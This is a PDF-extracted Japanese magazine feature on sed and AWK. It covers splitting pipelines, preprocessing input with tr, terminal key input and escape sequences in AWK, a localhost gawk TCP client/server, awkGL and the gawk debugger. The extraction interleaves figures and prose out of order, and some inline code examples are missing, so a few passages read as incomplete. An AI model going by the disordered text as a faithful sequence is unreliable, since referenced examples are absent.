　しかし、です。カンマを取るのにわざわざ
gsubという関数を呼び、絶対値をとるのに三
項演算子を使うくらいなら、図6のように trで
前処理してカンマと符号を取ってしまうほうが

図3　sedの処理を分割したときの高速化効果 ▼

 1から1千万の数字の0,1,2を漢字に変換する処理 
$ time seq 1 10000000 ¦
sed -e 's/1/壱/g' -e 's/0/零/g' -e ｭ
's/2/弐/g' > /dev/null

real    0m24.216s
user    0m27.380s
sys     0m0.093s
 同じ処理を3つのsedに分ける 
$ time seq 1 10000000 ¦
sed 's/1/壱/g' ¦ sed 's/0/零/g' ¦ ｭ
sed 's/2/弐/g' > /dev/null

real    0m16.451s
user    0m49.502s
sys     0m0.279s

図4　入力するテキスト ▼

$ cat data
-921,231    3
  21,131   12
   -1121 -124
 121,129   14
   1,183  120

図5　AWKだけで記述したコード ▼

$ cat top3-1.awk 
#!/usr/local/bin/gawk -f

{
    gsub(/,/,"",$1);
    num = $1*$2;
    mat[NR] = num>0?num:-num;
}
END{
    asort(mat);
    for(j=NR;j>=NR-2;j--){
        print mat[j];
    }
}
$ cat data ¦ ./top3-1.awk
2763693
1695806
253572
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楽でしょう注3。このような入力なら、AWKの
コードは図7のように短くなります。
　しかし、まだ面倒です。まだENDの処理が
長い。だいたいソートは誰でも知っているsort

コマンドでもできます。上位3位というのも
headでできるでしょう。
　結局、top-3-1.awkは、図8のようなワンラ
イナーで済んでしまうのでした。AWKにしか
できないのはせいぜい計算だけでした。
　この処理はおそらく、どの言語で書いてもシェ
ル上のワンライナーよりは長くて面倒なものに
なってしまうでしょう。おもしろいことに、図
8のgawk以外のコマンドを知らなくても、sed

とAWKを知っていたら、図9のように各コマ
ンドを置き換えてしまうことができます。これ
もほかの言語でやると、耐えられないくらい長
くなってしまいます。
　比喩なので正確ではありませんが、筆者の感
覚では、パイプでコマンドを数珠つなぎしてい
くときの楽さについては、「AWKが鈍行、sed

注3） trで指定した文字列,-ですが、これを-,と逆に書くと、
たとえば-dや--helpのようなオプションと解釈されて動
きません。ただし、tr -d -- '-,'のように前に「もうオ
プションはない」という意味の--を書くと動きます。ほか
の多くのコマンドでも--が使えます。

が急行、ほかのコマンドが特急か飛行機」くら
いに考えています。AWKを使うのは入出力の
整形部分と計算くらいにとどめておくほうが良
いというのが筆者の考えです。sedとAWKの
特集なのにAWKを鈍行呼ばわりとは何事かと
いうところですが、鈍行がないと行けないとこ
ろだらけになってしまうので鈍行はとても大事
です。ワンライナーやシェルスクリプトの中で、
AWKは小回りを保証する一番重要なコマンド
であると言えます。

　さて、後半は長いAWKやsedのコードをど
う刻めばよいか、具体例を示していきます。こ
れができたらワンライナーにおいてはミスが減
り、シェルスクリプトは読みやすいコードにな
ることでしょう。

処理したいデータを
掃除してから入力

　これは先ほどカンマ、マイナスの記号を tr

で削除した例でも示しましたが、データを入力
する前になるべく処理しやすく加工しておくと
いうテクニックがあります。

実践！ 刻みAWK＆
刻みsed

図6　trで前処理 ▼

$ cat data ¦ tr -d ',-'
921231    3
  21131   12
   1121 124
 121129   14
   1183  120

図7　前処理をしておくとコードが短くなる ▼

$ cat top3-2.awk
#!/usr/local/bin/gawk -f
{ mat[NR] = $1*$2 }
END{
    asort(mat);
    for(j=NR;j>=NR-2;j--){
        print mat[j];
    }
}

図8　コマンドとAWKを併用して書いたワンライナー ▼

$ cat data ¦ tr -d ',-' ¦
gawk '{print $1*$2}' ¦ sort -nr ¦ head ｭ
-n 3
2763693
1695806
253572

図9　sedとAWKで各コマンドの代用をコーディング ▼

$ cat data ¦ sed 's/[,-]//g' ¦ gawk ｭ
'{print $1*$2}' ¦
gawk '{a[NR]=$1}
END{asort(a);for(i=NR;i>=1;i--){print ｭ
a[i]}}' ¦
gawk 'NR<=3'
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　一番簡単な例は、

という入力のそれぞれに2をかけたかったら、

とは書かずに、

と、一度 trで縦に並べてから計算してxargsで
戻してやったほうがミスしにくいです。シェル
スクリプトにして比較しても、ごつい for文が
登場するのと、淡々とコマンドが並べてあるの
では読みやすさが違います。比較のために図
10を示します。
　今度はsedの例ですが、たとえば次の郵便番
号リストで、ハイフンがついていないものに付
けてやるという処理を考えます。

$ echo {1..10} 
1 2 3 4 5 6 7 8 9 10

$ echo {1..10} ¦
awk '{for(i=1;i<=NF;i++){printf $i*2 " ｭ
"};print ""}'

$ echo {1..10} ¦ tr ' ' '¥n' ¦
awk '{print $1*2}' ¦ xargs
2 4 6 8 10 12 14 16 18 20

$ cat zip
1234312
101-1101
123-1101
9939989

　これもsedを使えば拡張正規表現を使い、

のように処理できますが、はっきり言って小賢
しいです。次のように前処理でハイフンを除去
し、ハイフンを入れ直せば十分でしょう。

　これらのテクニックは、

・ 条件分岐が起きそうなら起きないように前
処理をする

・ 多くのコマンドは行単位で処理を行うので
それに入力を合わせる

というように一般化できます。

レコードに中間情報を書き込む

　本当にやりたい処理がややこしいとき、いっ
たん処理対象に目印を付けたり、計算途中のデー
タを書き込んでから、あとのコマンドで処理す
るという方法があります。
　たとえば、図11のテストの点数リストから、

・ 60点以上なら単位を与える
・ ただし、必修Aと必修Bの合計が140点以
上なら必修A、Bともに単位を与える

という条件で単位数を数えてみます。

$ cat zip ¦ gsed '/^[0-9]¥{7¥}$/s/^...ｭ
/&-/'

$ tr -d '-' < zip ¦ sed 's/^.../&-/'
123-4312
101-1101
123-1101
993-9989

図10　 AWKのコードを控えめにするとコードが読 ▼
みやすい

$ cat multi.sh 
#!/bin/bash

#awkだけ
echo {1..10}        ¦
gawk '{for(i=1;i<=NF;i++)¥
{printf $i*2 " "};print ""}'

#折り返す
echo {1..10}        ¦
tr ' ' '¥n'         ¦
awk '{print $1*2}'  ¦
xargs

図11　テストの点数リスト ▼

$ cat test_result
番号 必修A 必修B
001     45    80
002     64    70
003     58    83
004     70    60
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　SIerが扱う業務ロジックはこの手の条件分岐
のオンパレードなのですが、AWKの長いワン
ライナーをシェルスクリプトに埋め込むわけに
はいきません。図12のようなコードがシェル
スクリプト中にひょっこり現れたら、おそらく
読んでいる人は家に帰りたくなることでしょう。
　このような処理は本質的に面倒ですので単純
化には限界がありますが、少なくとも処理を分
けてひとつひとつの問題を軽くすることはでき
ます。リスト1-①のawkのようにまず普通に
単位の計算をし、計算した値をレコードの後ろ
（4列目）にくっつけて出力します。その後、リ
スト1-②のawkで2科目が140点以上なら4列
目を2と書き換えます。
　このような書き方をすると、①のawkは計算
途中のデータを単にパイプに突っ込めばよくな
ります。②のawkも何も下準備しなくてもただ
$4に中間データがセットされているのを使え
ばよいのですから、非常に省エネです。
　1つのawkの中で変数をこねくり回すより、
この省エネシステムを活かしましょう。さっさ
と標準出力に途中の計算結果を吐いてしまって
頭をリセットし、続きを別のawkでやるほうが
書いている人間は楽です。
　リスト1ではコメントも入れていますが、キ
リのよいところで処理を切った結果、ほぼ単位
計算の定義の作文と同じ処理の流れになってい
るのがわかります。コード自体はまだややこし
いのですが、ここまで歯切れよくコメントが書
いてあれば、書き直すとき以外はコードを読ま
なくてもよいでしょう。読み手にとっても、処
理を刻んだほうがいいのです。

　sedとAWKについて、シェルスクリプトか
ら使うときのコツについて述べました。主張し
たことはかなり単純です。シェルスクリプト、
ワンライナー中では、

・ 長いAWKやsedのコードを書かず、細かく
分けて記述すること

・ AWKやsedへの入力は事前に別のコマンド
で掃除すること

という2点だけ、波状攻撃のようにしつこく言っ
てきました。
　とは言え、これは少し使える人に対してのメッ
セージで、sedとAWKをほとんど使ったこと
のない人は、まずは使えるようになっていただ
きたいです。少し慣れたら「UNIX環境って便
利だな」と実感できるはずです。
　最後に宣伝ですが、USP友の会では、偶数月
に「シェル芸勉強会」と称し、初心者から上級者
までワンライナーまみれになる会を行っています
ので、ご興味のある方はぜひご参加ください。ﾟ

終わりに

図12　1つのAWKですべてをやってしまうコード ▼

 単位の計算 
$ tail -n +2 test_result ¦
 単位を数える。足して140のときは単位数を2にする 
gawk '{p=0;if($2>=60){p++}if($3>=60){p++}¥
if($2+$3>=140){p=2};print $0,p}'
001     45    80 1
002     64    70 2
003     58    83 2
004     70    60 2

リスト1　処理を2段階に分けて、コメントも2段階に分ける ▼

###単位の計算###
tail -n +2 test_result                              ¦
#$4に60点以上の科目の単位数を入れる
gawk '{p=($2>=60)?1:0;p+=($3>=60)?1:0;print $0,p}' ¦   ←① 
#2教科の合計が140点なら2単位を認める
gawk '{$4=($2+$3>=140)?2:$4;print}'   ←② 



60 - Software Design

第1特集
UNIXエンジニアのたしなみ

今からはじめるsed/AWK再入門
ワンライナー スクリプティングVS.

Sep.  2013 - 61

　どうも世間では、AWKはテキスト処理のため
のコマンドであると思われているようです。し
かし、実際のところAWKは、あらゆる用途に
用いることができるプログラミング言語なのです。
　たとえば、log、sin、atan2などの関数が標
準で用意されていることから、AWKを数値計
算に使えそうだということは容易に想像できる
のではないでしょうか。筆者も仕事注1で、
AWKを数値シミュレーションなどに使ってい
ますが、AWKでできることはそれだけではあ
りません。本Partでは、テキスト処理以外の
用途で、いくつかのAWKの実際の使い方につ
いて紹介します。

端末で動作する
マインスイーパーを作る

　AWKは通常、端末上で実行されます。そこで、
本Partの最初はAWKによる端末プログラミ
ングを行ってみます。ここではAWKで書かれ
たAwkMineという端末上で動作するマインス
イーパを例として取り上げ、AwkMineに必要
な各機能をどのように実現するかについて解説

注1） いわゆる組み込み系プログラマというのをやっています。

はじめに

AWKで 
端末プログラミング

していきます。
　図1がAwkMineを実行している様子です。1

文字が1つのセルに相当し、それぞれの文字の
意味は表1のとおりで、操作方法は表2のとお
りです。

リアルタイムキー入力

　まずは、キー入力です。AWKはgetlineでユー
ザからの入力を読み込めますが、getlineではユー
ザが©キーを押すまでAWKに入力内容
が伝わりません。しかし、AwkMineでは、ユー
ザがキーを押した瞬間にカーソルを移動すると
いうような動作を行わなければなりません。

 ▼図1　端末上でAwkMineを実行している様子

 ▼表1　AwkMineの各セルの文字の意味
文字 意味

X まだ開けてないセル

- 開けたが地雷がなかったセル（隣接す
るセルに地雷はない）

数字（1～8） 開けたが地雷がなかったセル（数字は隣接するセルにある地雷の数）
F 旗を立てているセル
* 地雷（図1中にはない）

AWKは、あらゆる用途に用いることができるプログラミング言語です。本Partでは、実装独自の拡張も使いつつ、
テキスト処理にとどまらない汎用プログラミング言語としてのAWKについてお話しします。

AWKプログラミングの深層
  Writer    田窪 守雄（たくぼ もりお）／takubo.morio@gmail.com／TwitterID：@takubo_morio
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AWK単体ではそのような処理は行えませんの
で、外部コマンドのsttyとddを呼び出します。
　それでは実際に試してみましょう。リスト1
を実行して何かキーを押してみてください。キー
を押した瞬間に画面への出力が行われるはずで
す（図2）。なお、このプログラムはqキーを
入力することで終了するようにしてあります。
　リスト1の11行目の sttyは端末の設定を変

更するコマンドです。通常、端末ではバッファ
リングが行われており、入力した文字は
©キーを押すまで端末上で動作している
プログラムには送られません。このバッファリ
ングのおかげで、入力した文字に誤りがあった
場合などに修正するということができますので、
通常は便利なものです。しかし、今回のように
リアルタイムにキー入力を処理したい場合には、

 ▼表2　AwkMineの操作方法
キー 動作

h カーソルを左に移動する
j カーソルを下に移動する
k カーソルを上に移動する
l カーソルを右に移動する
g カーソルを最上行に移動する
G カーソルを最下行に移動する
0 カーソルを最左列に移動する
$ カーソルを最右列に移動する
スペース カーソルがあるセルを開く
f カーソルがあるセルに旗を立てる／降ろす（トグル動作）
q AwkMineを終了する

 ▼リスト1　get_key.awk

 1:#!/bin/awk -f
 2:function getkey(    dd_cmd, key) {
 3:    # ddコマンドを使って、押されたキーを取得する
 4:    dd_cmd = "dd bs=1 count=1 2>/dev/null"
 5:    dd_cmd ¦ getline key
 6:    close(dd_cmd)    # 1キー取得したらcloseする
 7:    return  key
 8:}
 9:
10:BEGIN {
11:    system("stty raw -echo")    # 端末のバッファリングとエコーをOFFにする
12:
13:    for ( ; ; ) {
14:        key = getkey()          # 押されたキーを取得
15:
16:        # 見えない文字の場合は、ここで文字列に変換する
17:        if (key == "¥n" ¦¦ key == "¥r") key = "Enter"
18:        else if (key == " ") key = "Space"
19:        else if (key == "¥t") key = "Tab"
20:        else if (key == "¥033") key = "Escape"
21:
22:        print "You hit [", key, "]."    # 押されたキーを表示
23:        # 端末の設定を変えているので、カーソルを行頭に戻すために¥rを出力
24:        printf "¥r"
25:
26:        if (key == "q") exit 0    # 押されたキーが'q'なら終了
27:    }
28:}
29:
30:END {
31:    # 終了前に端末の設定をもとに戻す(バッファリングとエコーをONにする)
32:    system("stty cooked echo")
33:    print "exit..."
34:}

 ▼図2　get_key.awkを実行

$ awk -f get_key.awk
You hit [ h ].
You hit [ j ].
You hit [ Enter ].
You hit [ Space ].
You hit [ Tab ].
You hit [ Escape ].
You hit [ z ].
You hit [ x ].
You hit [ q ].
exit...
$
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このバッファリングが邪魔になります。
　また、端末にはエコーという機能もあります。
これは、入力した文字が端末に表示される機能
ですが、このおかげで入力した文字を確認しな
がら編集できるのでこれも通常は便利なものです。
しかし、キーを入力するごとにその文字が画面
に表示されていては画面がめちゃくちゃになって
しまいますので、AwkMineでは邪魔になります。
　そこで、バッファリングとエコーを無効にす
るためにsttyコマンドを使います。プログラム
のはじめにsystem関数でsttyコマンドを呼び
出すことで、端末のバッファリングとエコーを
無効にします。sttyコマンドにrawオプション
を付けることでバッファリングが無効になり、
-echoオプションを付けることでエコーが無効
になります。
　次に、実際にユーザが入力したキーを取得す
るのにはパイプ経由で、ddコマンドを使います。
ddは標準入力から標準出力にデータをそのまま
転送するコマンドです。そのため、ddコマンド
の標準出力をパイプでAWKに向けることで、
キーボードからの入力をAWKに取り込めます。
1つのキー入力は1バイトですので、4行目で
は bs=1 count=1 というオプションを指定する
ことで、1バイトだけ転送しています。また、
ddからの余分なメッセージが画面を汚さない
ように、標準エラー出力を捨てています。
　プログラム終了前にはsttyを再度呼び出し、
端末の設定をもとに戻しています。26行目で
BEGINブロック内でexitしているので、一見
ENDブロックの処理は行われないように見え
ますが、AWKでは exitを行うとENDブロッ

クが実行されます注2。
　なお、AWKが異常終了したときなど、END

ブロック内のsttyコマンドが実行されなかった
場合、端末がおかしくなります。そのときは、
l-Jを押した後、“stty sane”と入力して、
もう一度l-Jを押してください。入力し
た文字も端末に表示されないと思いますが、と
にかく上記のように入力してください。これで、
端末はまともに使える状態に戻るはずです。

画面の制御

　AwkMineでは端末上の任意の位置に文字を
表示したり、カーソルを自由に動かしたりせね
ばなりません。これは、エスケープシーケンス
という端末制御用文字列を端末に送ることで実
現しています。どうやって端末に送るのかとい
うと、単にprintfなどで表示すれば良いだけで
す。文字列を表示するというのは、文字列を端
末に送ることだからです。実際にやってみます。
　端末で、

と実行すると、"\033[2J"という文字列が表示
される代わりに画面が消去されるはずです。こ
れは、"\033[2J"という文字列が画面を消去す
るエスケープシーケンスだからです。エスケー
プシーケンスにはこのほか、表示する文字や背
景の色や属性（太字や下線）を指定する命令、カー
ソルを移動する命令などがあります。いくつか
のエスケープシーケンスをAWKから使う例を

注2） ENDブロック内でexitした場合には、再度ENDブロック
が呼ばれることはありませんので、無限ループに陥る心配
はありません。

$ awk 'BEGIN{printf "¥033[2J"}'

 ▼表3　AWKでエスケープシーケンスを使う例
エスケープシーケンスの使い方の例 動作

printf "\033[2J" 画面を消去する
printf "\033[%d;%dH", r, c カーソルをr行目のc桁目に移動する
printf "\033[%dA", n カーソルをn行上に移動する
printf "\033[01m" 文字を太字にする
printf "\033[41m" 文字色を赤にする
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表3に示します注3。

まとめ

　紙幅の都合上AwkMine全体のソースは掲載
できませんので、ほかのサンプルコードと合わ
せて本誌のサポートサイト注4よりダウンロード
できるようにしてあります。
　AwkMineではユーザがキー入力を行うまで待
ち続けるようになっていますが、タイムアウト
付きキー入力を行う方法もあります。タイムア
ウト付きキー入力を使えば、AwkMineに時間の
カウントアップ機能を付けることができます。
　本節の内容を応用すれば、AWKでviのよう
なエディタやVisiCalcのような表計算ソフト
を作ることもできるでしょう。

　GNUによるAWK実装であるGNU AWK

（gawk）では、ソケットによるネットワーク通

注3） この例ですべてprintfを使っているのは、エスケープシー
ケンスのあとに余分な改行を出力したくないからです。
ORSを空文字列に設定すれば、printでも改行は出力され
なくなります。

注4） http://gihyo.jp/magazine/SD

gawkでネットワーク
プログラミング

信を行うことができます。本節では、gawkに
よるネットワークプログラミングについて解説
します。

簡単なクライアント／
サーバシステムを作る

　さっそくですが、gawkで簡単なクライアン
ト／サーバシステムを作って、TCP/IPによる
通信を行ってみます。
　ここで作るクライアントとサーバは、それぞ
れ次のような動作をします。クライアントは、
標準入力から読み込んだ内容を行単位でサーバ
へそのまま送信します。サーバは、受信した文
字列の行頭に " - "を付けて標準出力へ書き出
します。リスト2のserver.awkがサーバのコー
ド、リスト3のclient.awkがクライアントのコー
ドです。
　実行するには、端末を2つ立ち上げます。ま
ず、一方の端末で server.awkを実行すると、
"listening..."と表示されてサーバが待ち受け状
態になります。次に、もう一方の端末でclient.

awkを実行して、その端末で適当に文字列を入
力してみてください。改行すると入力した文字
列がサーバに送られて、server.awkを実行して
いる端末にその文字列が表示されます。

 ▼リスト2　server.awk

 1:#!/usr/bin/gawk -f
 2:BEGIN {
 3:    net = "/inet/tcp/8080/0/0"    # 待ち受けポートは8080番
 4:
 5:    for ( ; ; ) {
 6:        print "listening..."
 7:
 8:        while (net ¦& getline recv > 0)    # 1行受信
 9:            print " - " recv               # 受信した文字列を端末に表示
10:
11:        close(net)    # コネクションを閉じて、次のクライアントを待ち受ける
12:    }
13:}

 ▼リスト3　client.awk

 1:#!/usr/bin/gawk -f
 2:{
 3:    # 標準入力から読み込んだ内容をサーバへそのまま送信
 4:    # 接続先はlocalhostの8080番
 5:    print $0 ¦& "/inet/tcp/0/localhost/8080"
 6:}

http://gihyo.jp/magazine/SD
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l-DでEOF（End Of File）を入力すると、
クライアントはコネクションを切断して終了し
ますが、サーバは再び待ち受け状態に戻ります
ので、もう一度クライアントを起動すれば再度
通信を行えます。図3、図4が実行している様
子です。なお、サーバはl-Cで終了して
ください。

gawkのネットワーク機能の
使い方

　では、server.awkとclient.awkを参考にしな
がら、gawkのネットワーク機能の詳細な使い
方を解説します。

双方向パイプ
　server.awk、client.awkとも、通常、AWKのプ
ログラムでは見られない「|&」という演算子が
使われています。
　この「|&」は、gawk独自の「双方向パイプ」と呼
ばれる演算子で、名前のとおり本来は外部コマ
ンドと双方向パイプ経由で通信するために使用
します。使い方は通常のパイプ演算子「|」と同様で、
print、printfで相手の標準入力に書き込み、
getlineで相手の標準出力から読み出します。パ
イプ演算子との違いは、1つのコマンドに対して、
書き込み、読み出しの両方が可能な点です。
　図5は双方向パイプを使って外部コマンドと通

 ▼図3　通信を実行（サーバ）

$ gawk -f server.awk          ←①サーバを起動 
listening...                  ←②待ち受け状態 
 - Hello.                     ←⑤クライアントから送られて来た文字列を表示している 
 - こいつ動くぞ！
 - AWKはよいものだ……
listening...                  ←⑦サーバは再度待ち受け状態になる 
 - 1                          ←⑨seqコマンドの出力がここに表示される 
 - 2
 - 3
 - 4
 - 5
listening...
^C                            ←⑩l-Cでサーバを終了 
$

 ▼図5　双方向パイプを使った外部コマンドとの通信

$ awk 'BEGIN {
    num = 2 ^ 200
    print num

    cmd = "bc"
    print "2 ^ 200" ¦& cmd      # bcの標準入力へ書き込み
    cmd ¦& getline num          # bcの標準出力から読み込み
    print num
}'
1606938044258990275541962092341162602522203000000000000000000    ←awkでは有効桁が足りていない 
1606938044258990275541962092341162602522202993782792835301376    ←bcなら正しく計算できている 
$

 ▼図4　通信を実行（クライアント）

$ gawk -f client.awk             ←③クライアントを起動 
Hello.                           ←④文字列を入力して改行すると…… 
こいつ動くぞ！
AWKはよいものだ……
^D                               ←⑥l-DでEOFを入力して、通信を終了 
$ seq 5 ¦ gawk -f client.awk     ←⑧今度は、seqの出力を送信する 
$
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信している例です。ここではbcコマンドと通信
をしており、AWKでは有効桁が足りない計算を
bcコマンドに計算させて結果を取得しています。

スペシャルファイル
　双方向パイプの通信相手に、外部コマンドの
代わりに「スペシャルファイル」と呼ばれる文字
列を指定すると、ソケットによるネットワーク
通信が行えます。スぺシャルファイルというの
は、server.awkの3行目や client.awkの5行目
で使われている、以下のようなスラッシュ区切
りのフィールドで構成された文字列です。

　では、スペシャルファイルの各フィールドに
ついて解説します。

net-type

・"inet4"、"inet6"、"inet"のいずれかの文字列
を指定します。

・"inet4"を指定するとIPv4で、"inet6"を指定
するとIPv6で通信します。

・"inet"を指定したときの挙動は、hostname
の項で説明します注5。

protocol

・使用するプロトコルを指定します。
・"tcp"または"udp"のいずれかの値を指定します。

localport

・サーバプログラムで待ち受けポート番号を指
定します。

・クライアントプログラムでは"0"を指定します。

hostname

・クライアントプログラムで接続先のホスト名

注5） バージョン4.0.0以前のgawkは IPv6に未対応で、net-
typeには"inet"のみを指定できます。当然 IPv4での通信
となります。

/net-type/protocol/localport/hostname/
remoteport

を指定します。
・サーバプログラムでは"0"を指定します。
・ホスト名は、IPv4アドレス（例：127.0.0.1）、
IPv6アドレス（例：0:0:0:0:0:0:0:1）、ドメイン
名（例：localhost、gihyo.jp）のいずれかで指定
します。
・net-typeに"inet"を指定したときの挙動は、
hostnameの指定のしかたにより次のように
なります。

　⇨ IPv4アドレスで指定→ IPv4を使用する

　⇨ IPv6アドレスで指定→ IPv6を使用する

　⇨ ドメイン名で指定→システムのデフォルトを使

用する

remoteport

・クライアントプログラムで接続先ポート番号
を指定します。

・サーバプログラムでは"0"を指定します。

送受信
　ネットワーク通信では、printやprintfで双
方向パイプに書き込むと通信相手に送信され、
getlineで双方向パイプから読み込むことで受
信できます。getlineは、コネクションが切断
されると0を返します。

通信の終了
　close関数にスペシャルファイルを指定する
ことで、コネクションを切断できます。
　なお、明示的にclose関数を呼ばない場合でも、
gawk終了時に自動的にclose処理が行われます。
そのため、client.awkでは close関数を呼んで
いません。

まとめ

　gawkのネットワーク機能では、ソケットに関
する詳細が隠蔽されているため細かな制御は行
えませんが、その分手軽にネットワークアプリ
ケーションを作ることができます。
　ネット上には、Webサーバなどgawkのネッ



66 - Software Design

第1特集
UNIXエンジニアのたしなみ

今からはじめるsed/AWK再入門
ワンライナー スクリプティングVS.

トワーク機能を使ったさまざまなプログラムが
公開されています。筆者はネットワーク機能を
持つ機器のテストやデバッグなどに活用してい
ます。とくに文字列主体のプロトコルでは、
gawk本来の強力な文字列操作機能が活かせる
のでたいへん重宝しています。もちろん、
gawkをバイナリ主体の通信に使うこともでき
ます。GitHubには、gnu-awk-youtube-down 

loaderという動画ダウンローダを公開している
人がいて、筆者は最初みたときたいへん衝撃を
受けました。

　gawkは、Cを使って「動的な拡張」を行うこ
とができます。これは、簡単に言うとCで書い
た関数をAWKのコードから呼び出すことがで
きるということです注6。この機能を使えば、
gawkでまさにあらゆることが可能になります。
　例として、筆者が作ったgawkのOpenGL拡
張である awkGLを紹介します。awkGLは、
gawkでOpenGLを使って2D/3Dグラフィック
プログラミングを行うための拡張で、ウィンド
ウの制御、キーボードやマウスからの入力イベ
ントの処理、ライティングなど、OpenGL（と
GLUT注7）の基本的な機能はほぼ実装していま
す。awkGLを使えば、物理シミュレータや3D

ゲームなどをgawkで作ることができます。また、
gawkのOpenCV拡張であるOpenCV-AWK注8

と合わせれば、gawkでAR（拡張現実）アプリケー
ションを開発することもできます。
　リスト4は、awkGLを使った3Dグラフィッ
クプログラミングのサンプルコードです。これ
はライティングされた急須を表示するだけのプ

注6） もう少し正確に説明すると、これはダイナミックロードラ
イブラリをダイナミックロードすることで、組込み関数を
gawkに追加する機能です。なお、gawkのドキュメント
を見てもこの機能には固有の名前がないようですので筆者
は「Cエクステンション」と呼んでいます。

注7） ウィンドウシステムとの連携など環境に依存する処理を、
OpenGLで共通的に扱うための補助ライブラリです。

注8） Webカメラからの動画取り込みや顔認識ができます。

AWKで
3Dグラフィック

ログラムで、実行すると図6のようなウィンド
ウが表示され、キーボードのqキーを押すと
ウィンドウを閉じて終了します。
　Cによる拡張を作ってみたい方は、gawkの
ユーザガイド注9やgawkのソース注10に付属して
いる拡張機能のサンプルのソースを参照してく
ださい。とくに、サンプルを見れば簡単な拡張
はすぐ作れるようになると思います。本機能は
単にgawkに機能を追加する以外にも、Cで書
いたコードのテストをgawkを使って行うといっ
たことにも使えます。

　バージョン4.1.0以降のgawkは、-Dオプショ
ンを付けて起動することで、AWKのデバッガ
として機能します。このデバッガは、GDBラ
イクなコマンドラインデバッガで、デバッグコ
マンドの名前や挙動もGDBに合わせてありま
す（図7）。しかし、コマンドラインでの操作は
いかんせん作業効率が悪いので、筆者はVim

上で動くAVD（AWK Visual Debugger）という
フロントエンドを作りました。図8はAVDで
AWKプログラムをステップ実行している様子
です。現在の実行ステップとして6行目がハイ
ライトされています。2行目の左端に表示され
ている"@"はブレークポイントです。また、カー
ソルが5行目のsumという変数の上に載ってい
るので、画面の最下部注11に「sum = 45」と表示
されています。実行中のコードと分割された下
側の画面には、AWKプログラムからの出力
（「start」「45」）が表示されています。
　このように、AWKで大規模プログラミング
を行うための環境も着々と整いつつあります。

注9） http://www.gnu.org/software/gawk/manual/gawk.
html　ただし、英語です。

注10） gawkのソースをダウンロードするには、http://www.
gnu.org/prep/ftp.htmlから近隣のミラーサイトを選択し
てください。サンプルはソースのルートディレクトリ内の
extensionというディレクトリ内にあります。

注11） vimではコマンドラインウィンドウといいます。

AWKのデバッガ

http://www.gnu.org/software/gawk/manual/gawk.html
http://www.gnu.org/prep/ftp.html
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 ▼リスト4　awkGLで急須を表示するコード

 1:BEGIN {
 2:    extension("./awkgl.so", "dlload")     # awkGLをロード
 3:
 4:    SetWindowPosSize(250, 50, 500, 500)
 5:    glutCreateWindow("Lighting Teapot")
 6:    glClearColor(16, 16, 16)
 7:
 8:    glEnable("LIGHTING")      # ライティングを有効化
 9:    glLight(0, "SPECULAR", 1.0, 1.0, 1.0, 1.0)
10:    glLight(0, "DIFFUSE",  0.8, 0.8, 0.8, 1.0)
11:    glLight(0, "AMBIENT",  0.4, 0.4, 0.4, 1.0)
12:    glLight(0, "POSITION", 100, 500, 0, 0)
13:    glLight(0, "DIRECTION", 0, 0, 0)
14:
15:    glutMainLoop()
16:}
17:
18:function keyboard(key, x, y) {  # 何かキーが押されたら、この関数が呼ばれる
19:    switch (key) {
20:    case "q":              # 'q'キーが押されたら終了
21:        print "exit..."
22:        exit
23:    }
24:}
25:
26:function reshape(width, height) {
27:    glViewport(0, 0, width, height)
28:    glMatrixMode("PROJECTION")
29:    glLoadIdentity()
30:    gluPerspective(45, width / height, 1, 2000)
31:    gluLookAt(190.0, 190.0, -100.0, 0.0, 20.0, 0.0, 0.0, 1.0, 0.0)
32:    glMatrixMode("MODELVIEW")
33:}
34:
35:function display() {
36:    glLoadIdentity()
37:    DrawAxes(110)         # X-Y-Z軸の描画
38:    glMaterial("BOTH", "SHININESS", 128)
39:    glMaterial("BOTH", "SPECULAR", 1.0, 1.0, 1.0, 1.0)
40:    glMaterial("BOTH", "DIFFUSE",  0.8, 0.8, 0.8, 1.0)
41:    glMaterial("BOTH", "AMBIENT",  0.5, 0.5, 0.5, 1.0)
42:    glutSolidTeapot(50)   # 急須の描画
43:}

 ▼図6　awkGLによる急須の表示

　今回おもに取り上げた gawkのほかにも、
AWKには多くの実装が存在します。その中の
いくつかを紹介してみたいと思います。

・nawk
　まず、Kernighanらによるオリジナルの実装
であるnawkがあります注12。nawkは現在でもメ

注12） http://www.cs.princeton.edu/~bwk/btl.mirror

さまざまな
AWKの実装

http://www.cs.princeton.edu/~bwk/btl.mirror
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ンテナンスが行われており、BSD系のOSなど
でデフォルトのAWKとして採用されていま

す注13。nawkというのは、New AWKの略なの
ですが、何がnewなのか（新しいのか）というと、
実は誕生したときのAWKはユーザ定義関数や
動的正規表現がないなど、現在のAWKに比べ
てたいへん貧弱なものでした。その後、
KernighanらはBell研内外の要望を取り入れて
現在の姿に近いAWKを完成させるのですが、
これが「新しくなったAWK」ということでNew 

AWKと呼ばれるようになったのです。現在では、
単にAWKと言えば、この新しくなったほうの
AWKを指します。古いほうのAWKは oawk

注13） 本Partでは「デフォルトのAWK」という語を、「（それぞれの）
OSを標準的な構成でインストールした場合に、awkコマ
ンドとして実行されるプログラム」という意味で使ってい
ます。

 ▼図7　gawkのデバッガモード

$ cat -n tst.awk         ←デバッグ対象のAWKスクリプトを行番号付きで表示 
     1  BEGIN {
     2      print "start"
     3      for (i = 0; i < 10; i++)
     4          sum += i
     5      avg = sum / 10
     6      print avg
     7      print "end"
     8  }
$ gawk -D -f tst.awk     ←gawkをデバッガモードで起動 
gawk>                    ←プロンプトが表示される 
gawk> break 2            ←beakコマンドで2行目にブレークポイントを設定 
Breakpoint 1 set at file `tst.awk', line 2     ←ブレークポイントの設定は成功 
gawk> run                ←runコマンドで実行を開始 
Starting program: 
Stopping in BEGIN ...
Breakpoint 1, main() at `tst.awk':2      ←2行目のブレークポイントで停止 
2           print "start"
gawk> step                               ←stepコマンドによるステップ実行 
start                                    ←2行目のprint文による出力 
3           for (i = 0; i < 10; i++)
gawk>    ←コマンドを打たずにエンターのみ入力すると、前回のコマンド(ここではstep)を繰り返す 
4               sum += i
gawk> 
3           for (i = 0; i < 10; i++)
gawk> 
4               sum += i
gawk> break 7                            ←7行目にもブレークポイントを設定 
Breakpoint 2 set at file `tst.awk', line 7
gawk> continue                           ←continueコマンドで7行目まで一気に実行 
4.5                                      ←6行目のprint文による出力 
Breakpoint 2, main() at `tst.awk':7      ←7行目のブレークポイントで停止 
7           print "end"
gawk> print avg                          ←printコマンドで変数avgの値を確認 
avg = 4.5                                ←avgの値が表示される 
gawk> continue                           ←continueコマンドで最後まで実行 
end                                      ←7行目のprint文による出力 
Program exited normally with exit value: 0     ←プログラムが正常終了 
gawk> quit                               ←quitコマンドでデバッガを終了 
$

